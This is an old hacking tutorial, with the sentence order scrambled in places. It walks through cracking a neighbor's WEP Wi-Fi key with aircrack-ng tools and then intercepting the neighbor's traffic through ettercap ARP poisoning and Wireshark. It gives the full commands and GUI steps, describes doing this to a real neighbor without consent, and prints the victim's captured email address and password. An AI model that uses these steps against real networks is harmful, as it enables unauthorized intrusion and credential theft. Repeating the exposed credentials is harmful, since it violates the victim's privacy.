Hacking Wireless Networks

by data

and even watch you browse the internet in real time when you think nobody is watching. -disclaimer- . crack your wep/wpa key to your router you think is safe.The sole purpose of this article is so that you may be informed about how your neighbor may be able to take a laptop. then reroute all your internet traffic to his computer you think he can't look at.

Once you boot into it. I may write another one on WPA a bit later. you will have to go through a few menus. you should see a screen similar to this: -Brief Introduction to Backtrack- . MITM Attack 4. All you have to do is go to www. DVD. I don't plan on giving you any bullshit. When the boot is finished.In this article. basically all you have to do is keep hitting enter until the KDE loads. Once you do that.remoteexploit. for most computers it's F8 or F9. to be in any hackers toolbox.org and download the ISO that fits what you would like to use it on (CD. Cracking the WEP Key (we will go over WEP cracking.) 3. in my opinion. you must hit whatever key you need to do load the boot options. Brief Introduction to Backtrack 2.. Basic Network Analysis -What I will be Going Over- Backtrack is something that is essential. I am using my Eee PC with an external DVDRom drive to boot it).. I don't plan on hinting towards how to break into a wifi network. you will need to to stick the CD/DVD/USB/SD into your laptop. and restart. When you restart. I will do it simple steps. it's the ESC key. I will show you how to break into a wifi network. and only break them down if I feel that you will need it or can benefit from knowing it. It is a live-linux cd that is compatible with most laptops (Just for reference sake. for mine. The following subjects I will touch on include the following: 1. or USB/SD).

1.-Cracking the WEP KeyNote: For reference. I have put them as variables ($) where you plug in what is necessary for you. 2. Open a new shell prompt: 1. Type airmon-ng start wifi0 so it puts ath0 into monitor mode . since not all parameters are the same for each laptop. wifi0 and ath0. Type airmon-ng stop ath0 to stop the ath0 interface 3. so this will be a bit tricky. As you can see I have 2 interfaces. but wifi0 is the parent of ath0. Type airmon-ng to see what interfaces are available. Most laptops only have one interface.

to do this type macchanger –mac 00:11:22:33:44:55 ath0 6.4. Type clear to clear the screen then type ifconfig ath0 down 5. Which is linksys---. go right ahead and crack it. Now we get down to the meat and bones.(blocked out for security purposes) . I took a guess that it was the one with the highest PWR. but because I am doing this on a neighbor. Now we need to turn our interfaces back on by typing airmon-ng start wifi0 7. If you already know the ESSID of the network you would like to crack the WEP key for. we can start scanning for networks by typing in airodump-ng ath0 8. Now we need to change the MAC address.

Now our goal is to get the #Data field to reach around 10. we can start sending packets back to the network. Now we are going to single that network out by typing in the following: airodump-ng -c $CHANNEL -w wepcrack –bssid $BSSID ath0 11. therfore increasing the amount in the #Data field. We do this by typing in aireplay-ng -3 -b $BSSID -h 00:11:22:33:44:55 ath0 13. Do this by typing aireplay-ng -1 0 -a $BSSID -h 00:11:22:33:44:55 -e $ESSID ath0 i don't think I would need to break this down for you. open a new shell prompt and type the following: aircrack-ng -n 64 -b $BSSID wepcrack-01. to do this.Now that were associated. 12.000 (just to be safe) so we have to provoke the data by first associating ourselves with the network.Once you think the #Data has climbbed to a decent amount. I am sure you can just look at what I did for each of the variables and plug in your own.9.cap .

we will need to find some way to take all their internet traffic. Here is a simple picture to demonstrate: -MITM Attack- So now you may be asking. a MITM attack. you can download and install it simply by typing sudo apt-get install ettercap Once it is done. How do we do this? Yup. In order to intercept their packets. Now what I am going to do is restart my laptop and boot into my regular OS and connect to the network now that I have the WEP key. . how do I do this!? Ettercap is the answer. your going to have to google it to install it. if your doing this on a Windows machine. then to the internet. but if your on *nix.Congratulations! We just cracked our first WEP key. we can open the GUI for it by typing sudo ettercap -G into the shell. forward it to our laptop.

mine. From there go to Hosts > Sccan for Hosts 3. do this by going to Hosts > Host List 4.1. and click Add to Target 1. Go to MITM > arp poisoning and press ok. and since I don't know what all the other IP's go to. 6. Now go to Start > Sniffer 7.*.1 IP is the router. Now we need to see what hosts are up. is ath0 2. Now. don't check any of the boxes. Minimize ettercap .*. we are going to highlight that. I will highlight all the other IP's and click Add to Target 2 5. Go to Sniff > Unified Sniffing and then choose your interface. since it is common sense that usually the *. of course.

Since I would like some passwords. click Start that is next to the interface. this does take a lot of patience and luck though. Now that we have all these packets. it won't work. 5. As you can imagine. that is a lot of packets to skim through on a laptop. type password into it. we can start looking for certain filters. and see what we get. 4. if your on Windows. to do this press CTRL+F and click the By String bubble. NOTE: DO NOT CHOOSE ANY. which has a bit more capacity to handle things like this quicker. Success! As you can see below. we can now start analyzing traffic from their network. Now we just have to sit back and wait till we get a bunch of packets. and will take forever to search for one query. it found a packet that has the word password in it! . so I have saved the pcap file (file > save) and will analyze it on my desktop machine.000 packets. because they have to be using the internet at the exact time that you are connected to their network. 3. I left mine running for about an hour and gathered about 35.Finally. you can kind of get an idea of what interface to use because of the amount of packets going in and out of it. google it. You can open it by simply typing sudo wireshark into a shell -Basic Network Analysis- 2. To choose it. What I did was simply left my laptop running for about an hour during the evening. 1. 6. Go to Capture > Interfaces and choose the interface you would like to use. again. Download wireshark by typing sudo apt-get install wireshark.

which I then got the password to a couple of days later. but if you zoom in. -data -Closing Notes- . a neighbor around the corner. I'm sure you can't see this because the picture is a bit small. just email me at d4ta13@gmail.7. the person I did this on. has since deleted his myspace account. you will be able to see Email_Textbox=dex-12%40yahoo. and go to Follow TCP Stream you will be prompted with something that looks like this: 8.com. Now we must right click the packet highlighted. Just a side note.com and Password_Textbox=th4l1fe I really do hope you've learned a decent amount from this article. Thanks. if you have any questions at all. and made a new one.
